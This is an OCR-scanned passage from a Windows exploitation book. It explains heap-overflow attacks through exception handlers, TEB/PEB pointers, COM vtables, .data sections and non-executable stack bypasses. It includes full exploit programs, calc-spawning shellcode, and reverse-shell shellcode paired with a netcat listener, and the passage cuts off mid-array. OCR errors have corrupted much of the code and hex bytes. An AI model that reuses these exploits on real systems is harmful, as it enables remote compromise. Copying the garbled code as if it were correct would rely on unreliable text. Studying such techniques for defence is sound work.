the address of our allocated buffer on the heap; when called, our code is 
executed. Sample code that will do all this is as follows: 

#include <stdio.h> 

 #include <windows.h> 

 

unsigned int GetAddress(char *lib, char *func); 
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void fixupaddresses(char *tmp, unsigned int x); 
int main() 

{ 
unsigned char buffer[300]="";  
unsigned char heap[8]="";  
unsigned char pebf[8]="";  
unsigned char shallcode[200]="";  
unsigned int address_of_system =0;  
unsigned char tmp[8]=""; 
unsigned int cnt = 0; 

printf("Getting address of system...\n"); 

address_of_system = GetAddress("msvcrt.dll","system"); 
if(address_of_system == 0) 

return printf(“failed to get address.\n”); 

 printf(“Address of msvcrt .system\t\t\t= 

%. 8X\n". address_of_system) ; 

strcpy(buffer,"heapl "); 

while(cnt < 5) 

 { 
streat(buffer,"\x90\x90\x90\x90"); 
cnt ++;  

} 

// Shellcode to call system("calc"); 

strcat(buffer,"\x90\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B
\x50\x53\x89" } ; 

fixupaddresses (tmp, address_of_system) ; 

strcat(buffer,"\xFF\xD1"); 

strcat(buffer,”\xFF\xD1”) 

 cnt=0; 

while(cnt < 58)  

{ 
strcat(buffer, "DDDD") ; 
cnt ++; 

} 

// Pointer to 0x77FC3210 - 4. 0x77FC32l0 holds 
// the pointer to the first _VECTORED_EXCEPTION_NODE 
//structure. 
strcat (buffer, "\x0C\x32\xFC\x77") ; 

// Pointer to our pseudo _VECTORED_EXCEPTION_NODE 

 // struetur at address 0x0012FF48. This addrsss + 8  

// contains a pointer to our allocated buffer. This 
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// is what will be called when the vectored exception 

// handling kicks in. Modify this according to where 

 // it can be found on your system strcat(buffer,"\x48\xff\xl2\x00") ; 

printf{*\nExecuting heapl.exe... calc should open. \n"};  

system(buffer);  

return 0;  

} 

unsigned int GetAddress(char *lib, char *func) 

 { 

HMODULE l=NULL; 

unsigned int x=0; 

l = LoadLibrary(lib) ; 

if (!l) 

return 0; 

x = GetProcAddress(l, func); 

if(!x) 

return 0; 

return x; 

 } 

void fixupaddresses(char *tmp, unsigned int x) 

 { 

unsigned int a = 0; 

a = a « 24; 

a = a » 24; 

 tmp[0]=a; 

a = a » 8;  

a = a « 24; 

a = a » 24 ; 

 tmp[1]=a; 

a = a » 16; 

 a = a « 24; 

 a = a » 24; 

 tmp [2] =a; 

a = a » 24; 

tmp[3]=a;  

} 

Overwrite Pointer to Unhandled Exception Filter 

Halvar Flake first proposed the use of the Unhandled Exception Filter in .at 
the Blackhat Security Briefings in Amsterdam in 2001. When no handler can 
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dispatch with an exception, or if no handler has been specified, the 
Unhandled Exception Filter is the last-ditch handler to be executed. It's 
possible for an application to set this handler using the 
SetUnhandledExceptionFil-ter () function. The code behind this function is 
presented here: 

77E7E5A5 mov eax,[77ED73B4] 

As we can see, a pointer to the Unhandled Exception Filter is stored at 
0x77ED73B4—on Windows XP Service Pack 1, at least. Other systems may 
or will have another address. Disassemble the SetUnhandledException Filter () 
function to find it on your system. 

When an unhandled exception occurs, the system executes the following 
block of code: 

77E93114 mov eax, [77ED73B4] 

77E93119 cmp eax,esi 

77E9311B je 77E93132 

77E9311D push edi 

77E9311E call eax 

The address of the Unhandled Exception Filter is moved into EAX and then 
called. The push edi instruction before the call pushes a pointer to an 
EXCEPT I ON_PO INTERS structure onto the stack. Keep this technique in 
mind, because we'll be using it later on. 

When overflowing the heap, if the exception is not handled, we can exploit 
the Unhandled Exception Filter mechanism. To do so, we basically set our 
own Unhandled Exception Filter. We can either set it to a direct address that 
points into our buffer if its location is fairly predictable, or we can set it to an 
address that contains a block of code or a single instruction that will take us 
back to our buffer. Remember that EDI was pushed onto the stack before the 
filter is called? This is the pointer to the EXCEPTION_POINTER structure. 0x7 
8 bytes past this pointer is an address right in the middle of our buffer, which 
is actu-ally a pointer to the end of our buffer just before the heap-management 
stuff. While this is not part of the EXCEPT I ON_PO INTER structure itself, we 
can bounce off EDI to get back to our code. All we need to find is an address 
in the process that executes the following instruction: 

Call  dword ptr[edi+0x7] 

While this sounds like a pretty tall order, there are in fact several places 
where this instruction can be found—depending on what DLLs have been 
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loaded into the address space, of course, and what OS/patch level you're on. 
Here are some examples on Windows XP Service Pack 1. 

call dword ptr[edi+0x74) found at 0x71c3de66 [netapi32.dll] 

call dword ptr[edi+0x74) found at 0x77c3bbad [netapi32.dll] 

call  dword  ptr [edi+0x74] found at 0x77c41el5 [netapi32.dll] 

call dword ptr[edi+0x74] found at 0x77d92a34 [user32.dll] 

call  dword ptr[edi+0x74] found at 0x7805136d [rpcrt4.dll] 

call dword ptr[edi+0x74] found at 0x78051456 [rpcrt4.dll] 

NoteOn Windows 2000, both esi + 0x4c and ebp + 0x74 contain a 
pointer to our buffer. 

If we set the Unhandled Exception Filter to one of the addresses listed pre 
viously, then in the event of an unhandled exception occurring, this instructior 
will be executed, dropping us neatly back into our buffer. By the way, the 
Unhandled Exception Filter is called only if the process is not already being 
debugged. The sidebar covers how to fix this problem. 

CSLLING THE UNHANDLED EXCEPTION FILTER WHILE DEBGGING 

When an exception is thrown, it is caught by the system. Execution is immediately 
switched to KiUserExceptionDispatcherO in ntdll.dll. This function is responsible for 
dealing with exceptions as and when they occur. On XP, 
KiUserExceptionDispatcherO first calls any vectored handlers, then frame-based 
handlers, and finally the Unhandled Exception Filter. Windows 2000 is almost the 
same except that it has no vectored exception handling. One of the problems you 
may encounter when developing an exploit for a heap overflow is that if the 
vulnerable process is being debugged, then the Unhandled Exception Filter is never 
called—most annoying when you're trying to code an exploit that actually uses the 
Unhandled Exception Filter. A solution to this problem exists, however. 

KiUserExcepttonDispatcher() calls the UnhandledExceptionFilter() function, which 
determines whether the process is being debugged and whether the Unhandled 
Exception Filter should actually be called. The UnhandledException Filer() function 
calls the NT/ZwQuerylnformationProcess kernel function, which sets a variable on 
the stack to OxFFFFFFFF if the process is being debugged. Once 
NT/ZwQuerylnformationProcess returns, a comparison is performed on this variable 
with a register that has been zeroed.If they match, the Unhandled Exception niter is 
called. If they are different the Unhandled Exception Filter Is not called. Therefore, if 
you want to debug a process and have the Unhandled Exception Filter called, then 
set a break point at the comparison. When the break point is reached, change the 
variable from OxFFFFFFFF to OxOOOOOOOO and tot the process continue. This 
way the Unhandled Exception Filterwill be called 
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The fallowing figure depicts the relevant code behind 
UnhandledExceptionFilter on Windows XP Service Pack 1. In this case, you 
would set a break point at address 0x77E93I0B and wait for the exception to 
occur and the function to be called. Once you reach the break point, set 
[EBP-20h] to 0x00000000. The Unhandled Exception Filter will now be called. 

77E930F5  lea eax, [ebp-20h] 

77E930F8  push eax 

77E930F9  push 7 

77E930FB  call 77E7E6B9 

 

77E7E6B9  or eax, 0FFh 

77E7E6BC  ret 

 

77E93100   push eax 

77E93101  call dword ptr ds:[77E61 0ACh]     

   

77F76035   mov eax, 9Ah Filter Is called.  

77F7603A   mov edx. 7FFE0300h 

77F7603F   call edx 

 

7FFE0300   mov edx. esp    

7FFE0302  sysenter   

7FFE0304   ret 

 

77F76041   ret 14h 

 

77E93107   test eax, eax 

77E93109   jl 77E93114 

77E9310B   cmp dword ptr [ebp-20h], esi 

77E9310E   jne 77E937D9   

77E93114   mov eax, [77ED73B4]  

77E93119   cmp eax, esi 

77E9311B   je 77E93132 

77E93110    push   edi 

77E9311E   call eax  

 

77E937D9   mov eax, fs: [00000018]  ' 

77E937DF   mov eax, dword ptr [eax+30h] 

77E937E2   test byte ptr [eax+69h] 

77E937E6   je 77E93510 

UnhandledExceptionFilter on XP SP1 

To demonstrate the use of the Unhandled Exception Filter with heap 
over-flow exploitation, we need to modify our vulnerable program to remove 
the exception handler. If the exception is handled, then we won't be doing 
any-thing with the Unhandled Exception Filter. 

#include <stdio.h> #include <windows.h> 

int foo(char *buf); 

 

If[EBP+20h] equals 0x0000

the currentvalue of ESI, t

Unhandled Exception 

SWITCH TO 

KERNEL-MODE 

If ESI does not 

equal[EBP-20h]  

jmp to 0x77E937D9
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int main(int argc, char *argv[])  

{ 

HMODULE   1; 
1  =  LoadLibrary("msvcrt.dll"); 
1 = LoadLibrary ("netapi32 .dll"); 
printf ("\n\nHeapoverflow program.\n"); 
if(argc != 2) 
return printf("ARGS!"); 
 foo(argv[1]); 
 return 0;  

} 

int foo(char *buf)  

{ 
HLOCAL hi = 0, h2 = 0; 
HANDLE hp; 

hp = HeapCreate(O,0x1000,0x10000); 

 if(!hp) 
return printf("Failed to create heap.\n");  

h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);  
priritf ("HEAP: %.8X %.8X\n",hl,&h1); 

// Heap Overflow occurs here: 
strcpy(h1,buf); 

//We gain control of this second call to HeapAlloc 

h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); 
printf("hello");  

return 0;} 

The following sample code exploits this. We overwrite the heap 
manage-ment structure with a pair of pointers; one to the Unhandled 
Exception Filter at address 0x77ED73B4 and the other 0x77C3BBAD—an 
address in netapi32 .dll that has a call dword ptr[edi + 0x78] instruction. When 
the next call to HeapAlloc () occurs, we set our filter and wait for the 
excep-tion. Because it is unhandled, the filter is called, and we land back in 
our code Note the short jump we place in the buffer—this is where EDI + 0x7 
8 points to so we need to jump over the heap-management stuff. 

#include <stdio.h>  

#include <windows.h> 

unsigned int GetAddress(char *lib, char *func);  

void fixupaddresses(char *tmp, unsigned int x); 

int main() 
{ 

unsigned char but fer [1000] =" "; 

unsigned char  heap[8]=" "; 

unsigned char   pebf [8]=" "; 
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unsigned char shellcode[200]="";  

unsigned int address_of_system =0; 

unsigned char tmp[8]=""; 

unsigned int a = 0; 
int cnt =0; 

printf ( "Getting address  of  system. .. \n") ;  

address_of_system = GetAddress ("msvcrt .dll","system") ;  

if(address_of_system = =  0) 
return;  
printf ("Failed to get address.\n"); 

printf("Address  of msvcrt.system\t\t\t= %.8X\n", address_of_system);  
strcpy(buffer,"heapl ") ; 
 while(cnt   <   66) 
{ 
strcat(buffer,"DDDD"); 
cnt++ 

} 

// This is where EDI+0x74 points to sO we 

 // need to do a short Jmp forwards 
strcat(buffer, "\xEB\xl4") ; 

// some padding 
strcat (buffer, "\x44\x44\x44\x44\x44\x44") ; 

// This address (0x77C3BBAD : netapi32.dll XP SP1) contains  

// a "call dword ptr[edi+0x74]" instruction. We overwrite  

// the Unhandled Exception Filter with this address. 

strcat(buffer,"\xad\xbb\xc3\x77") ; 

// Pointer to the Unhandled Exception Filter strcat(buffer, 
"\xB4\x73\xED\x77");// 77ED73B4 

cnt = 0; 

while(cnt < 21)  

{ 

cnt ++; 

} 

// Shellcode stuff to call system("calc"); 

strcat(buffer,"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9);  

fixupaddresses(tmp,address_of_system);  

strcat(buffer,tmp); 

strcat(buffer,"\xff\xD1\x90\x90"); 

printf("\nExecuting heap1.exe...calc should open.\n"); 
system(buffer); 
return 0; 

} 
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unsigned int GetAddress(char *lib, char *func) 

{ 
HMODULE 1=NULL; 
 unsigned int x=0;  
1 = LoadLibrary(lib); 
 if(!1) 

return 0; 
x = GetProcAddress(1,func);  
if(!x) 

return 0; 
 return x; 

} 

void fixupaddresses(char *tmp, unsigned int x)  

{    

 unsigned int a = 0; 
a = x; 
a = a << 24; 
a = a » 24; 
tmp[0]=a; 
a = x; 
a = a » 8; 
a = a << 24; 
a = a » 24 ; 
tmp [ 1 ] =a; 
a = x; 
a = a >> 16; 
a = a « 24; 
a = a >> 24; 
tmp [ 2 ] =a ; 
a = x; 
a = a >> 24; 
tmp [ 3 ] =a;  

} 

Overwrite Pointer to Exception Handler in Thread Environment Block 

As with the Unhandled Exception Filter method, Halvar Flake was the first to 
propose overwriting the pointer to the exception registration structure stored in 
the Thread Environment Block (TEB) as a method. Each thread has a TEB, 
which is typically accessed through the FS segment register. FS : [ 0 ] 
contains a pointer to the first frame-based exception registration structure. The 
location of a given TEB varies, depending on how many threads there are and 
when it was created and so on. The first thread typically has an address of 
0x7FFDE000, the next thread to be created will have a TEB with an address 
of 0x7FFDD000, 0x1000 bytes apart, and so on. TEBs grow toward 
0x00000000. The follow-ing code shows the address of the first thread's TEB: 
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#include<stdio.h> 

int main()  

{ 
_asm{ 

mov eax,   dword ptr fs:[0xl8] 
push  eax 

} 
printf("TEB:   %.8x\n"); 

asm{ 
add esp,4  
} 

return 0;  

} 

If a thread exits, the space is freed and the next thread created will get this 
free block. Assuming there's a heap overflow problem in the first thread (which 
has a TEB address of 0x7FFDE000), then a pointer to the first exception 
regis-tration structure will be at address 0x7FFDE000. With a heap-based 
overflow, we could overwrite this pointer with a pointer to our own 
pseudo-registration structure; then when the access violation that's sure to 
follow occurs, an excep-tion is thrown, and we control the information about 
the handler that will be executed. Typically, however, especially with 
multi-threaded servers, this is slightly more difficult to exploit, because we 
can't be sure exactly where our current thread's TEB is. That said, this method 
is perfect for single-thread pro-grams such as CGI-based executables. If you 
use this method with multi-threaded servers, then the best approach is to 
spawn multiple threads and plump for a lower TEB address. 

Repairing the Heap 

Once we've corrupted the heap with our overflow, we'll more than likely need 
to repair it. If we don't, our process is 99.9% likely to access violate—even 
more likely if we've hit the default process heap. We can, of course, reverse 
engineer a vulnerable application and work out exactly the size of the buffer 
and the size of the next allocated block, and so on. We can then set the 
values back to what they should be, but doing this on a per-vulnerability basis 
requires too much effort. A generic method of repairing the heap would be 
better. The most reliable generic method is to modify the heap to look like a 
fresh new heap—almost fresh, that is Remember that when a heap is created 
and before any allocations have taken place, we have at FreeLists [0] 
(HEAP_BASE + 0x178) two pointers to the first free block (found at HEAP_ 
BASE + 0x688), and two pointers at the first free block that point to Free Lists 
[ 0 ]. We can modify the pointers at FreeLists [ 0] to point to the end 
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of our block, making it appear as though the first free block can be found 
after our buffer. We also set two pointers at the end of our buffer that point 
back to FreeLists [0] and a couple of other things. Assuming we've destroyed 
a block on the default process heap, we can repair it with the following 
assem-bly. Run this code before doing anything else to prevent an access 
violation. It's also good practice to clear the handling mechanism that's been 
abused; in this way, if an access violation does occur, you won't loop 
endlessly. 

// We've just landed in our buffer after a 

 // call to dword ptr[edi+74]. This, therefore  

// is a pointer to the heap control structure  

// so move this into edx as we'll need to  

// set some values here 

 mov edx, dword ptr[edi+74] 

 // If running on Windows 2000 use this  

// instead 
// mov edx, dword ptr[esi+0x4C]  
// Push 0x18 onto the stack push 0x18 
// and pop into EBX pop ebx 
// Get a pointer to the Thread Information  
// Block at fs:[18]  
mov eax, dword ptr fs:[ebx] 
// Get a pointer to the Process Environment  
// Block from the TEB. mov eax, dword ptr[eax+0x30] 
// Get a pointer to the default process heap  
// from the PEB  
mov eax, dword ptr[eax+0xl8]  
//We now have in eax a pointer to the heap  
// This address will be of the form 0x00nn0000 
 // Adjust the pointer to the heap to point to the  
// TotalFreeSize dword of the heap structure  
add a1,0x28 
// move the WORD in TotalFreeSize into si  
mov si, word ptr[eax] 
// and then write this to our heap control  
// structure. We need this. 
 mov word ptr(edx),si  
// Adjust edx by 2  
inc edx  
inc edx 
// Set the previous size to 8  
mov byte ptr[edx],0xO8 inc edx 
// Set the next 2 bytes to 0  
mov si, word ptr[edx] xor word ptr[edx],si  
inc edx 
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inc edx 
// Set the flags to 0x14 mov byte ptr[edx],0x14 inc edx 

mov si, word ptr[edx] xor word ptr[edx],si inc edx inc edx 
// now adjust eax to point to heap_base+0xl78 
// It's already heap_base+0x28 
add ax,0x150 

// eax now points to FreeListst[0] 
// now write edx into FreeLists[0] .Flink 
mov dword ptr [eax] ,edx 
// and write edx into FreeLists[0] .Blink 
mov dword ptr[eax+4],edx 
// Finally set the pointers at the end of our 
// block to point co FreeLists[0] 
mov dword ptr[edx],eax 
mov dword ptr[edx+4],eax 

With the heap repaired, we should be ready to run our real arbitrary code. 
Incidentally, we don't set the heap to a completely fresh heap because other 
threads will have data already stored somewhere on the heap. For example, 
winsock data is stored on the heap after a call to WSAStartup. If this data is 
destroyed because the heap is reset to its default state, then any call to a 
winsock function will access violate. 

Other Aspects of Heap-Based Overflows 

Not all heap overflows are exploited through calls to HeapAlloc () and Heap 
Free () .Other aspects of heap-based overflows include, but are not limited to, 
private data in C++ classes and Component Object Model (COM) objects. 
COM allows a programmer to create an object that can be created on the fly 
by another program. This object has functions, or methods, that can be called 
to perform some task. A good source of information about COM can be found, 
of course, on the Microsoft site (www.microsoft.com/com/). But what's so 
interesting about COM, and how does it pertain to heap-based overflows? 

COM Objects and the Heap 

When a COM object is instantiated—that is, created—it is done so on the 
heap. A table ot function pointers is created, known as the viable. The 
Tointers point to the code of  the methods an object supports. Above this 
vtable, in terms of virtual memory addressing, space is allocated for object 
data. When new COM objects and created, they are placed above the 
previously created objects, so 
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what would happen if a buffer in the data section of one object were over 
flowed? It would overflow into the vtable of the other object. If one of the 
methods is called on the second object, then there will be a problem. With all 
the function pointers overwritten, an attacker can control the call. He or she 
would overwrite each entry in the vtable with a pointer to their buffer. So when 
the method is called, the path of execution is redirected into the attacker's 
code. It's quite common to see this in ActiveX objects in Internet Explorer. 
COM-based overflows are very easy to exploit. 

Overflowing Logic Program Control Data 

Exploiting heap-based overflows may not necessarily entail running 
attacker-supplied arbitrary code. You may want to overwrite variables stored 
on the heap that control what an application does. For example, imagine a 
Web server stored a structure on the heap that contained information about 
the permis sions of virtual directories. By overflowing a heap-based buffer into 
this struc ture, it may be possible to mark the Web root as writeable. Then an 
attacker can upload content to the Web server and wreak havoc. 

Wrapping Up the Heap 

We've presented several mechanisms through which heap-based overflows 
can be exploited The best approach to writing an exploit for a heap overflow is 
to do it per vulnerability. Each overflow is likely to be slightly different from 
every other heap overflow. This fact may make the overflow easier to exploit 
on some occasions but more difficult on others. For those out there 
responsible for programming, hopefully we've demonstrated the perils that lie 
in the unsafe use of the heap. Nasty things can and will happen if you don't 
think about what you're doing—so code securely. 

Other Overflows                                                

This section is dedicated to those overflows that are neither stack- nor 
heap-based. 

.data section overflows 

A program is  divided into different areas called sections The actual code 
ofthe program is stored in the .text section; the .data section of a 
programcontains such things as global variables. You can dump information 

about thesections into an image ftle with dumpbin using the  / HEADERS 
option and use the /SECTIONS: .section_name for further information about a 
specific 
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section. While considerably less common than their stack or heap 
counter-parts, .data section overflows do exist on Windows systems and are 
just as exploitable, although timing can be an obstacle here. To further explain, 
con-sider the following C source code: 

#include <stdio.h> 

 #include <windows.h> 

unsigned char buffer[32]=""; 

 FARPROC mprintf = 0; 

 FARPROC mstrcpy = 0; 

int main(int argc, char *argv[]) 

 { 
HMODULE l=0; 
l = LoadLibrary("msvcrt.dll"); 
if(!l) 

return 0; 
mprintf = GetProcAddress(l,"printf");  
if (!mprintf) 

return 0; 
mstrcpy = GetProcAddress(l,"strcpy"); 
 if(!mstrcpy) 

return 0;  
(mstrcpy)(buffer,argv[l]); 

_asm{ add esp,8 } 
(mprintf)("%s",buffer); 
_asm{  add esp, 8   } 
FreeLibrary(l); 

return  0; 
} 

This program, when compiled and run, will dynamically load the C runtime 
library (msvcrt.dll), and then get the addresses of the strcpy() and printf {) 
functions. The variables that store these addresses are declared globally, so 
they are stored in the . data section. Also notice the globally defined 32-byte 
buffer. These function pointers are used to copy data to the buffer and print 
the contents of the buffer to the console. However, note the ordering of the 
global variables. The buffer is first; then come the two function pointers. They 
will be laid out in the . data section in the same way—with the two function 
pomters after the buffer. If this buffer is overflowed, then the function pomters 
will be overwritten, and when referenced—that is, called— an attacker can 
redirect the flow of execution. 

Here's what happens when this program is run with an overly long 
argu-ment. The first argument passed to the program is copied to the buffer 
using the strcpy function pointer. The buffer is then overflowed overwriting the 

 

 
 
190    Chapter 8 

function pointers. What would be the printf function pointer is called next, team 509's presents



and the attacker can gain control. Of course, this is a highly simplistic C 
pro-gram designed to demonstrate the problem. In the real world, things won't 
be so easy. In a real program, an overflowed function pointer may not be 
called until many lines later—by which time the user-supplied code in the 
buffer may have been erased by buffer reuse. This is why we mention timing 
as a possible obstacle to exploitation. In this program, when the printf function 
pointer is called, EAX points to the beginning of the buffer, so we could simply 
overwrite the function pointer with an address that does a jmp eax or call eax. 
Further, since the buffer is passed as a parameter to the printf function, we 
can also find a reference to it at ESP + 8. This means that, alternatively, we 
could overwrite the printf function pointer with an address that starts a block of 
code that executes pop reg,pop reg, ret. In this way, the two pops will leave 
ESP pointing to our buffer. So, when the RET executes, we land at the 
beginning of our buffer and start executing from there- Remember, though, 
that this is not typical of a real-world situation. The beauty of .data section 
overflows is that the buffer can always be found at a fixed location—it's in the . 
data section—so we can always overwrite the function pointer with its fixed 
location. 

TEB/PEB Overflows 

For the sake of completeness, and although there aren't any public records 
of these types of overflows, the possibility of a Thread Environment Block 
(TEB) overflow does exist. Each TEB has a buffer that can be used for 
converting ANSI strings to Unicode strings. Functions such as 
SetComputerNameA and Ge tModul eHandleA use this buffer, which is a set 
size. Assuming that a func-tion used this buffer and no length checking was 
performed, or that the func-tion could be tricked with regards to the actual 
length of the ANSI string, then it could be possible to overflow this buffer. If 
such a situation were to arise, how could you go about using this method to 
execute arbitrary code? Well, this depends on which TEB is being overflowed. 
If it is the TEB of the first thread, then we would overflow into the PEB. 
Remember, we mentioned ear-lier that there are several pointers in the PEB 
that are referenced when a process is shutting down. We can overwrite any of 
these pointers and gain control of execution. If it is the TEB of another thread, 
then we would overflow into another TEB. 

There are several interesting pointers in each TEB that could be overwritten, 
such as the pointer to the first frame-based exceftion_REGISTRATION 
structure. We'd then need to somehow cause an exception in the thread that 
owns the TEB we've just conquered. We could of course overflow through 
sev-eral TEBs and eventually get into the PEB and hit those pointers again. If 
such an overflow were to exist, it would be exploitable, made slightly difficult, 
but not impossible, by the fact that the overflow would be Unicode in nature. 
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Exploiting Buffer Overflows and Non-Executable Stacks             

To help tackle the problem of stack-based buffer overflows, Sun Solans has 
the ability to mark the stack as non-executable. In this way, an exploit that 
tries to run arbitrary code on the stack will fail. With x86-based processors, 
however, the stack cannot be marked as nonexecutable. Some products, 
however, will watch the stack of every running process, and if code is ever 
executed there, will terminate the process. 

There are ways to defeat protected stacks in order to run arbitrary code. Put 
forward by Solar Designer, one method involves overwriting the saved return 
address with the address of the system () function, followed by a fake (from 
the system's perspective) return address, and then a pointer to the command 
you want to run. in this way, when ret is called, the flow of execution is 
redi-rected to the system() function with ESP currently pointing to the fake 
return address. As far as the system function is concerned, all is as it should 
be. Its first argument will be at ESP+4—where the pointer to the command 
can be found. David Litchfield wrote a paper about using this method on the 
Windows platform. However, we realized there might be a better way to exploit 
non-executable stacks. While researching further, we came across a post to 
Bugtraq by Rafal Wojtczuk (http: / /community. core-sdi . com/ - 
juliano/non-exec-stack-problems . html) about a method that does the same 
thing. The method, which involves the use of string copies, has not yet been 
documented on the Windows platform, so we will do so now. 

The problem with overwriting the saved return address with the address of 
system() is that system()is exported by msvcrt .dll on Windows, and the 
location of this DLL in memory can vary wildly from system to system (and 
even from process to process on the same system). What's more, by run-ning 
a command, we don't have access to the Windows API, which gives us much 
less control over what we may want to do. A much better approach would be 
to copy our buffer to either the process heap or to some other area of 
writable/executable memory and then return there to execute it. This method 
will involve us overwriting the saved return address with the address of a 
string copy function. We won't choose s trcpy () for the same reason that we 
wouldn't use system()—strcpy() also is exported by msvcrt.dll. lstrcpy{), on the 
other hand, is not—it is exported by kernel32.dll, which is guaranteed, at least, 
to have the same base address in every process on the same system. If 
there's a problem with using lstrcpy () (for example, its address contains a bad 
character such as 0x0A), then we can fall back on lstrcat. 

To which location do we copy our buffer? We could go for a location in a 
heap, but chances are we'll end up destroying the heap and choking the 
process. Enter the TEB. Each TEB has a 520-byte bu 
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ANSI-to-Unicode string conversions offset from the beginning of the TEB by 

0xC00 bytes. The first running thread in a process has a TEB of 0x7FFDE000 
locating this buffer at 0x7FFDEC00. Functions such as GetfioduleHandleA use 
this space for their string conversions. We could provide this location as the 
destination buffer to lstrcpy (), but because of the NULL at the end, we will, in 
practice, supply 0x7FFDEC04. We then need to know the location of our 
buffer on the stack. Because this is the last value at the end of our string, even 
if the stack address is preceded with a NULL (e.g., 0x0012FFD0), then it 
doesn't matter. This NULL acts as our string terminator, which ties it up neatly 
And last, rather than supply a fake return address, we need to set the address 
to where our shellcode has been copied, so that when lstrcpy returns, it does 
so into our buffer. 

When the vulnerable function returns, the saved return address is taken from 
the stack. We've overwritten the real saved return address with the address of 
lstrcpy (), so that when the return executes we land at lstr-cpy ( ). As far as 
lstrcpy () is concerned, ESP points to the saved return address. The program 
then skips over the saved return address to access its parameters—the 
source and destination buffers. It copies 0x0012FFD0 into 0x7FFDEC04 and 
keeps copying until it comes across the first NULL temuna-tor, which will be 
found at the end (the bottom-right box in Figure 8.4). Once it has finished 
copying, lstrcpy returns—into our new buffer and execution continues from 
there. Of course, the shellcode you supply must be less than 520 bytes, the 
size of the buffer, or you'll overflow, either into another TEB— depending on 
whether you've selected the first thread's TEB—if you have, you'll overflow 
into the PEB. (We will discuss the possibilities of TEB/PEB-based overflows 
later.) 
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Before looking at the code, we should think about the exploit. If the exploit 
uses any functions that will use this buffer for ANSI-to-Unicode conversions, 
then your code could be terminated. Don't worry—so much of the space in the 
TEB is not used (or rather is not crucial) that we can simply use its space. For 
example, starting at 0x7FFDE1BC in the first thread's TEB is a nice block of 
NULLS. 

Let's look now at some sample code. First, here's our vulnerable program: 

#include <stdio.h>  

int  foo(char *); 

int main(int argc,   char *argv[]) 

 { 

unsigned char buffer[520] =""; 

if (argc  !=2) 

return printf("Please supply an argument!\n"); 

foo(argv[l]); 

return 0; 

} 

int  foo(char *input)  

{ 

unsigned char  buffer[600]="""; 

printf("%.8X\n",&buffer); 

strcpy(buffer,input); 

return  0;  

} 

We have a stack-based buffer overflow condition in the foo () function. A call 
to strcpy uses the 60G-byte buffer without first checking the length of the 
source buffer. When we overflow this program, we'll overwrite the saved return 
address with the address of lstrcatA. 

 
NOTE  lstrcpy has a 0x0a in it on WindowsXP Service Pack 1. 

We then set the saved return address for when lstreatA returns (this we'll set 
to our new buffer in the TEB). Finally, we need to set the destination buffer for 
lstrcatA (our TEB) and the source buffer, which is on the stack. All of this was 
compiled with Microsoft's Visual C++ 6.0 on Windows XP Service Pack 1. The 
exploit code we've written is portable Windows reverse shellcode. It runs 
against any version of Windows NT or later and uses the PEB to get the list of 
loaded modules. From there, it gets the base address of kernel32.dll then 
parses its PE header to get the address of GetProcAddress. Armed with this 
and the base address of kernel32 .dll, we get the address of Load 
LibraryA—with these two functions, we can do pretty much what we want. Set 
netcat listening on a port with the following command: 
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C:\>nc   -1   -p   53 

then run the exploit. You should get a reverse shell. 

#include <stdio.h>  

#include <windows.h> 

unsigned char exploit[510]= 

"\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF" 
"\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50" 
"\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C" 
"\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89" 
"\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xBl\x4E\xB2\xFF\x30\xl3" 
"\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC" 
"\x83\xC3\xl0\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C" 
"\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89" 
"\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83" 
"\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89" 
"\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33" 
"\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\xOA" 
"\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66" 
"\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45" 
"\xE0\x6A\xl0\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0" 
"\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84" 
"\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57" 
"\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50" 
"\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8" 
"\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\xlC\xAD" 
"\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03" 
"\x42\x78\x03\x58\xlC\x51\x6A\xlF\x59\x41\x03\x34\x08\x59\x03\x48" 
"\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83" 
"\xC6\x045x83\xCl\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41" 
"\x74\x08\x83\xC6\x04\x83\xCl\x02\xEB\xD9\x8B\xFA\xOF\xB7\x01\x03" 
"\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3" 
"\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C" 
